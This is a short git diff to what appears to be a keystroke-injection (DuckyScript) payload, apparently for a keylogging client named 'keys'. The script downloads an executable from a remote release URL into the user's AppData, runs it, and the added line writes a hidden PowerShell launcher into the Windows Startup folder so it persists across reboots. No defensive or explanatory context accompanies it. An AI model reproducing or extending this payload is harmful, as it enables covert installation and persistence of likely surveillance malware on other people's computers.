diff --git a/keys.txt b/keys.txt index d9e0094..062f068 100644 --- a/keys.txt +++ b/keys.txt @@ -12,6 +12,8 @@ STRING $OpDir = "$(pwd)\AppData\Local\keys"; REM download client.exe file STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/latest/client.exe -OutFile "$OpDir\keys.exe"; +STRING Add-Content -Path "$(pwd)\AppData\Roaming\Windows\Start Menu\Programs\Startup\keys.cmd" -Value "powershell.exe -WindowStyle hidden { Start-Process -FilePath \"$OpDir\keys.exe\" -NoNewWindow }"; + REM client.exe file (closes automatically) STRING Start-Process -FilePath "$OpDir\keys.exe" -NoNewWindow } ENTER